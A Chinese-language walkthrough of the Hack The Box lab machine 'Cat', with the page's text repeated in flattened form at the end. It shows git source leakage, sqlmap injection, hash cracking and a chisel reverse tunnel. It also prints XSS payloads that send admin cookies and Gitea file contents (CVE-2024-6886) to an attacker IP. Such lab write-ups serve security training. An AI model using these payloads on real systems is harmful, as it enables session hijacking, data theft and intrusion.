HTB-Cat
字数 1216 2025-08-29 08:30:30

HTB-Cat靶机渗透测试教学文档

靶机信息

  • 靶机链接: https://app.hackthebox.com/machines/Cat
  • 靶机IP: 10.10.11.53
  • 操作系统: Ubuntu Linux (基于OpenSSH和Apache版本判断)

初始侦察

端口扫描

使用fscan进行快速端口扫描:

./fscan -h 10.10.11.53 -nobr -nopoc

发现开放端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

详细Nmap扫描:

nmap -sTVC -O -p22,80 10.10.11.53

确认服务版本:

  • OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
  • Apache httpd 2.4.41

Web服务发现

访问http://10.10.11.53会重定向到http://cat.htb,需要将域名添加到/etc/hosts:

echo "10.10.11.53 cat.htb" | sudo tee -a /etc/hosts

Web渗透

目录爆破

使用dirb进行目录扫描:

dirb http://cat.htb

发现.git目录暴露,存在Git信息泄露漏洞。

Git信息泄露利用

使用GitHack工具下载源代码:

python3 GitHack.py http://cat.htb/.git/

目录结构:

.
├── accept_cat.php
├── admin.php
├── config.php
├── contest.php
├── css
│   └── styles.css
├── delete_cat.php
├── img
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── img_winners
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── index.php
├── join.php
├── logout.php
├── view_cat.php
├── vote.php
├── winners
│   └── cat_report_20240831_173129.php
└── winners.php

代码审计发现漏洞

  1. XSS漏洞:
    view_cat.php中,用户名输出未经过滤:
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>

应该使用htmlspecialchars()进行过滤。

  1. SQL注入漏洞:
    accept_cat.php中,$cat_name直接拼接SQL语句:
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

攻击步骤

  1. XSS获取管理员Cookie:
    注册用户时,用户名使用XSS payload:
<script>document.location='http://10.10.16.14:8888/?c='+document.cookie;</script>

启动HTTP服务器监听:

python3 -m http.server 8888

登录后提交猫的照片,等待管理员查看触发XSS。

  1. SQL注入利用:
    使用sqlmap自动化注入:
sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=mal" --cookie="PHPSESSID=cege257iom0cqihqnnp0ileg8l" --batch --dbms SQLite -p catName --level 5 --risk 3 -D SQLite_masterdb -T users --dump --threads=10

获取到用户哈希:

user_id | email                          | password                         | username
1       | axel2017@gmail.com             | d1bbba3670feb9435c9841e46e60ee2f | axel
2       | rosamendoza485@gmail.com        | ac369922d560f17d6eeb8b2c7dec498c | rosa
3       | robertcervantes2000@gmail.com   | 42846631708f69c00ec0c0a8aa4a92ad | robert
  1. 哈希破解:
    使用John the Ripper破解:
john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5

得到rosa的密码: soyunaprincesarosa

系统立足点

SSH登录

使用rosa凭据登录:

ssh rosa@cat.htb

横向移动

在系统中查找其他用户凭据:

grep -R axel /var/* 2>/dev/null

发现axel的密码。

权限提升

发现内部服务

在邮件中发现:

  1. Gitea服务运行在localhost:3000
  2. 员工管理系统项目信息

端口转发

使用chisel进行端口转发:
攻击机:

./chisel server -p 12345 --reverse

目标机:

./chisel client 10.10.16.14:12345 R:3000:127.0.0.1:3000

Gitea XSS漏洞利用

Gitea版本1.22.0存在存储型XSS漏洞(CVE-2024-6886)

  1. 创建仓库并插入XSS payload:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')
.then(response => response.text())
.then(data => fetch('http://10.10.16.14/?response=' + encodeURIComponent(data)))
.catch(error => console.error('Error:', error));">XSS test</a>
  1. 发送邮件诱使jobert点击:
echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/test" | sendmail jobert@localhost
  1. 监听获取敏感信息:
nc -lvnp 80

获取到index.php内容,包含管理员凭据:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

获取root权限

使用获取的密码切换到root:

su root

输入密码: IKw75eR0MR7CMIxhH0

总结

本靶机渗透测试涉及以下关键技术点:

  1. Git信息泄露漏洞利用
  2. XSS漏洞利用获取管理员Cookie
  3. SQL注入漏洞利用获取数据库信息
  4. 哈希破解获取用户凭据
  5. 内部服务发现与端口转发
  6. Gitea存储型XSS漏洞利用(CVE-2024-6886)
  7. 通过XSS读取敏感文件获取root凭据

整个渗透过程展示了从外部攻击到内部横向移动,最终获取系统最高权限的完整路径。

HTB-Cat靶机渗透测试教学文档 靶机信息 靶机链接: https://app.hackthebox.com/machines/Cat 靶机IP: 10.10.11.53 操作系统: Ubuntu Linux (基于OpenSSH和Apache版本判断) 初始侦察 端口扫描 使用 fscan 进行快速端口扫描: 发现开放端口: 22/tcp (SSH) 80/tcp (HTTP) 详细Nmap扫描: 确认服务版本: OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 Apache httpd 2.4.41 Web服务发现 访问http://10.10.11.53会重定向到http://cat.htb,需要将域名添加到/etc/hosts: Web渗透 目录爆破 使用dirb进行目录扫描: 发现 .git 目录暴露,存在Git信息泄露漏洞。 Git信息泄露利用 使用GitHack工具下载源代码: 目录结构: 代码审计发现漏洞 XSS漏洞 : 在 view_cat.php 中,用户名输出未经过滤: 应该使用 htmlspecialchars() 进行过滤。 SQL注入漏洞 : 在 accept_cat.php 中, $cat_name 直接拼接SQL语句: 攻击步骤 XSS获取管理员Cookie : 注册用户时,用户名使用XSS payload: 启动HTTP服务器监听: 登录后提交猫的照片,等待管理员查看触发XSS。 SQL注入利用 : 使用sqlmap自动化注入: 获取到用户哈希: 哈希破解 : 使用John the Ripper破解: 得到rosa的密码: soyunaprincesarosa 系统立足点 SSH登录 使用rosa凭据登录: 横向移动 在系统中查找其他用户凭据: 发现axel的密码。 权限提升 发现内部服务 在邮件中发现: Gitea服务运行在localhost:3000 员工管理系统项目信息 端口转发 使用chisel进行端口转发: 攻击机: 目标机: Gitea XSS漏洞利用 Gitea版本1.22.0存在存储型XSS漏洞(CVE-2024-6886) 创建仓库并插入XSS payload: 发送邮件诱使jobert点击: 监听获取敏感信息: 获取到index.php内容,包含管理员凭据: 获取root权限 使用获取的密码切换到root: 输入密码: IKw75eR0MR7CMIxhH0 总结 本靶机渗透测试涉及以下关键技术点: Git信息泄露漏洞利用 XSS漏洞利用获取管理员Cookie SQL注入漏洞利用获取数据库信息 哈希破解获取用户凭据 内部服务发现与端口转发 Gitea存储型XSS漏洞利用(CVE-2024-6886) 通过XSS读取敏感文件获取root凭据 整个渗透过程展示了从外部攻击到内部横向移动,最终获取系统最高权限的完整路径。